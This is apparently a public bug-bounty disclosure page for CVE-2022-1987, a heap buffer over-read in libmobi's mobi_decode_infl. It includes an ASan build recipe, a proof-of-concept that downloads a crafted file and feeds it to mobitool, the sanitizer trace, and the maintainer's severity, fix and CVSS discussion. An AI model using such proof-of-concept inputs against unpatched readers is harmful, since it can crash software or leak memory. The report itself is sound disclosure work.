A heap-buffer-overflow in mobi_decode_infl in index.c in bfabiszewski/libmobi

1

✓ Valid Reported on May 3rd 2022

Description

A heap-buffer-overflow in mobi_decode_infl in index.c

Env

Distributor ID: Ubuntu Description: Ubuntu 20.04 LTS Release: 20.04 Codename: focal mobitool build: May 3 2022 20:46:07 (clang Ubuntu Clang 11.1.0) libmobi: 0.10

Build

```
export CC=gcc CXX=g++ CFLAGS="-fsanitize=address -static-libasan" CXXFLAGS=
autogen.sh &&  ./configure && make
```

Proof of Concept

```
wget https://github.com/beidasoft-cobot-oss-fuzz/poc/raw/main/poc_4d04e9e06
./tools/mobitool -e -o ./tmp poc_4d04e9e069e38fd86b6e00dc336f841b
```

ASan

```
→  libmobi ./tools/mobitool -e -o ./tmp poc_4d04e9e069e38fd86b6e00dc336f84
Title: Libmobi sample file
Author: Bartek Fabiszewski
Subject: Dictionaries
```

Chat with us

```
Language: pl (utf8)
Dictionary: pl => en

__

Mobi version: 7
Creator software: kindlegen 2.9.0 (linux)

Reconstructing source resources...
=================================================================
==3656201==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200
READ of size 1 at 0x602000000fd1 thread T0
    #0 0x352b88 in mobi_decode_infl /work/fuzz/soft/libmobi/src/index.c:94
    #1 0x341fda in mobi_reconstruct_infl /work/fuzz/soft/libmobi/src/parse_
    #2 0x343bf0 in mobi_reconstruct_orth /work/fuzz/soft/libmobi/src/parse_
    #3 0x345e57 in mobi_reconstruct_links_kf7 /work/fuzz/soft/libmobi/src/p
    #4 0x346467 in mobi_reconstruct_links /work/fuzz/soft/libmobi/src/parse
    #5 0x349795 in mobi_parse_rawml_opt /work/fuzz/soft/libmobi/src/parse_r
    #6 0x34811e in mobi_parse_rawml /work/fuzz/soft/libmobi/src/parse_rawml
    #7 0x316a37 in loadfilename /work/fuzz/soft/libmobi/tools/mobitool.c:85
    #8 0x315e78 in main /work/fuzz/soft/libmobi/tools/mobitool.c:1051:11
    #9 0x7feb675790b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/
    #10 0x267aad in _start (/work/fuzz/soft/libmobi/tools/mobitool+0x267aa

0x602000000fd1 is located 0 bytes to the right of 1-byte region [0x6020000
allocated by thread T0 here:
    #0 0x2e177d in malloc (/work/fuzz/soft/libmobi/tools/mobitool+0x2e177d)
    #1 0x34ead6 in mobi_parse_index_entry /work/fuzz/soft/libmobi/src/index
    #2 0x34c846 in mobi_parse_indx /work/fuzz/soft/libmobi/src/index.c:667
    #3 0x351046 in mobi_parse_index /work/fuzz/soft/libmobi/src/index.c:72
    #4 0x34957c in mobi_parse_rawml_opt /work/fuzz/soft/libmobi/src/parse_r
    #5 0x34811e in mobi_parse_rawml /work/fuzz/soft/libmobi/src/parse_rawml
    #6 0x316a37 in loadfilename /work/fuzz/soft/libmobi/tools/mobitool.c:85
    #7 0x315e78 in main /work/fuzz/soft/libmobi/tools/mobitool.c:1051:11
    #8 0x7feb675790b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/

SUMMARY: AddressSanitizer: heap-buffer-overflow /work/fuzz/soft/libmobi/sr
Shadow bytes around the buggy address:
  0x0c047fff81a0: fa fa 00 fa fa fa 06 fa fa fa 04 fa fa fa 04 fa
  0x0c047fff81b0: fa fa 04 fa fa fa 00 fa fa fa 01 fa fa fa
  0x0c047fff81c0: fa fa 00 04 fa fa 01 fa fa fa 00 04 fa fa
  0x0c047fff81d0: fa fa 00 03 fa fa 04 fa fa fa 00 05 fa fa 04 fa
  0x0c047fff81e0: fa fa 00 07 fa fa 04 fa fa fa 00 03 fa fa 04 fa
```

Chat with us

```
  0x0c047fff81e0: fa fa 00 07 fa fa 04 fa fa fa 00 03 fa fa 04 fa
=>0x0c047fff81f0: fa fa 00 fa fa fa 04 fa fa fa[01]fa fa fa 04 fa
  0x0c047fff8200: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fa

  0x0c047fff8210: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c047fff8220: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
  0x0c047fff8230: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8240: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:
```

Impact

The bug causes the program reads data past the end of the intented buffer. Typically, this can allow attackers to read sensitive information from other memory locations or cause a crash.

CVE

CVE-2022-1987
(Published)

Vulnerability Type

CWE-126: Buffer Over-read

Chat with us

Severity
Low (2.5)

Registry
Other

Affected Version
0.10

Visibility
Public

Status
Fixed

Found by

beidasoft-cobot-oss-fuzz
@beidasoft-cobot-oss...
unranked

Fixed by

Bartek Fabiszewski
@bfabiszewski
unranked

This report was seen 620 times.

We are processing your report and will contact the **bfabiszewski/libmobi** team within 24 hours.
7 months ago

We have contacted a member of the **bfabiszewski/libmobi** team and are waiting to hear back
7 months ago

Bartek Fabiszewski modified the CWE from Heap-based Buffer Overflow to Buffer Over-read
7 months ago

Bartek Fabiszewski modified the Severity from Medium to Low 7 months ago

The researcher has received a minor penalty to their credibility for misclass
vulnerability type: -1

Chat with us

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

Bartek Fabiszewski validated this vulnerability 7 months ago

beidasoft-cobot-oss-fuzz has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +5

Bartek Fabiszewski marked this as fixed in 0.11 with commit 612562 7 months ago

Bartek Fabiszewski has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

beidasoft-cobot-oss-fuzz 7 months ago Researcher

Thanks!

beidasoft-cobot-oss-fuzz 7 months ago Researcher

Dear @Bartek, are you happy to award this valid issue a CVE?

Bartek 6 months ago Maintainer

Yes, please go ahead

Jamie Slome 6 months ago Admin

@maintainer - for the CVE, can you please provide a CVSS vector string that I can use?

Bartek 6 months ago Maintainer

@admin
In my opinion the impact is very low. User must be tricked to use crafted file. The application will read beyond buffer at some random offset. Depending on random data it rea
might cause a crash.
I am not familiar with CVSS, but my score according to the hints would be
AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N/E:U/RL:O/RC:C

Chat with us

AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N/E:U/RL:O/RC:C

Jamie Slome 6 months ago Admin

Appreciate your follow-up here 👍 I will attach the CVSS vector to the report, and will publish a CVE too ♥ 🍰

Sign in to join this conversation